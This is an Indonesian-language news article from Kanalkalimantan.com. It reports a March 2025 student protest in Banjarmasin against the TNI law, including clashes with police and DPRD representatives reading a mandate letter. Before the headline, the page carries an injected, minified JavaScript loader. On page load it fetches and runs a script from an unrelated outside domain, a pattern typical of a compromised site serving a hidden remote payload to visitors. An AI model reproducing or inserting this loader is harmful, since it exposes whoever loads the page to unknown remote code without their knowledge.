(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

BEM SI Kalsel Tolak UU TNI!


KANALKALIMANTAN.COM, BANJARMASIN – Seruan aksi tolak UU TNI dilakukan Badan Eksekutif Mahasiswa Seluruh Indonesia (BEM SI) Kalimantan Selatan digelar di depan gedung DPRD Kalimantan Selatan, alan Lambung Mangkurat, Banjarmasin, Jumat (21/3/2025) sore.

Ratusan mahasiswa dari berbagai aliansi menolak RUU TNI yang baru saja disahkan DPR RI, pada Kamis (20/3/2025).

Tuntutan massa unjuk rasa ialah pembatalan UU TNI yang dinilai kembali menimbulkan dwifungsi TNI pada jabatan sipil.

Aksi yang dimulai sejak pukul 15.00 Wita ini dikawal ratusan aparat kepolisian yang siaga menjaga peserta aksi.

Selain tuntutan pembatalan UU TNI, pengunjuk rasa menginginkan Ketua DPRD Kalsel H Supian HK hadir menghadapi massa unjuk rasa mendengarkan tuntutan.

Baca juga: Teror Kepala Babi di Kantor Tempo, Jurnalis ‘Bocor Alus Politik’ Jadi Target!


Tak kunjung ada kabar dan kepastian, peserta aksi mencoba menerobos barikade aparat kepolisian yang berjaga tepat di depan kantor DPRD Kalsel.

Sempat terjadi bentrok antara peserta aksi dan aparat kepolisian, saling dorong mendorong. Aparat kepolisian sempat melakukan pemukulan terhadap peserta aksi yang mencoba melawan.

Tak lama berselang, perwakilan DPRD Kalsel datang dan menyampaikan bahwa Supian HK sedang dalam masa pemulihan usai operasi pengangkatan ginjal.

Merasa tak percaya, peserta aksi menginginkan perwakilan DPRD Kalsel menelpon Ketua DPRD Kalsel secara langsung via telepon.

Baca juga: Cegah Tambang Illegal, Patroli Dilakukan ke Wilayah Konsesi PT AGM

Selain itu, peserta aksi menuntut pihak DPRD Kalsel agar menolak UU TNI dan dibatalkan secara langsung disampaikan di depan peserta aksi.

Wakil Ketua DPRD Kalsel Karyoto dan Anggota Komisi II DPRD Kalsel Sadam Husein Naparin yang menghadapi massa dari BEM SI Kalsel diserahi surat mandat agar dapat merepresentasikan suara DPRD Kalsel dalam menolak pengesahan UU TNI.

Meskipun sempat revisi surat mandat akibat tidak mencantumkan kop surat dan tanda tangan, akhirnya perwakilan BEM SI Kalsel membacakan surat mandat.

Diikuti pembacaan surat tuntutan peserta aksi yang dibacakan Wakil Ketua DPRD Kalsel Kartoyo di akhir aksi tuntutan.

Baca juga: Penumpang Mudik Bandara Syamsudin Noor Diprediksi Capai 224 Ribu

Setelah pembacaan surat mandat dan surat tuntutan, akhirnya aksi tolak UU TNI berakhir dengan tertib pada pukul 18.00 Wita. (Kanalkalimantan.com/torieq)

Reporter: torieq
Editor: bie


Muhammad Andi

Recent Posts

PSU Pilwali Banjarbaru Tetapkan 01 Lisa – Wartono  Lawan 02 Kotak Kosong

KPU Kalsel: Jika Kotak Kosong Menang Ada Pilkada Selanjutnya Bulan Agustus Read More

39 menit ago

Polisi Peras Miliar Rupiah Dana Sekolah: Korupsi Menggurita di Tubuh Polri?

Tindakan kejahatan oleh polisi terus berulang. Kali ini kasus pemerasan yang dilakukan oleh dua polisi… Read More

4 jam ago

Wagub Hasnur Safari Ramadan ke Alalak, Resmikan Masjid Jami Nurul Arafah

KANALKALIMANTAN.COM, MARABAHAN - Wakil Gubernur (Wagub) Kalimantan Selatan (Kalsel) Hasnuryadi Sulaiman disambut hangat masyarakat di… Read More

5 jam ago

Truk Terperosok di Gatot Soebroto, Damkar Banjarmasin Turun Tangan

KANALKALIMANTAN.COM, BANJARMASIN - Sebuah truk pengangkut material terperosok di depan salah satu kafe di Jalan… Read More

17 jam ago

Teror Kepala Babi dan Bangkai Tikus Tempo Ancaman bagi Pembela HAM

KANALKALIMANTAN.COM, JAKARTA - Lembaga Perlindungan Saksi dan Korban (LPSK) mengatakan teror kepala babi dan bangkai… Read More

1 hari ago

Hasil PSU Pilkada Barito Utara: Agi-Saja Menang Atas Gogo-Helo

KANALKALIMANTAN.COM, MUARA TEWEH - Pasangan nomor urut 02 Akhmad Gunadi Nadalsyah-Sastra Jaya (Agi-Saja) menang dalam… Read More

1 hari ago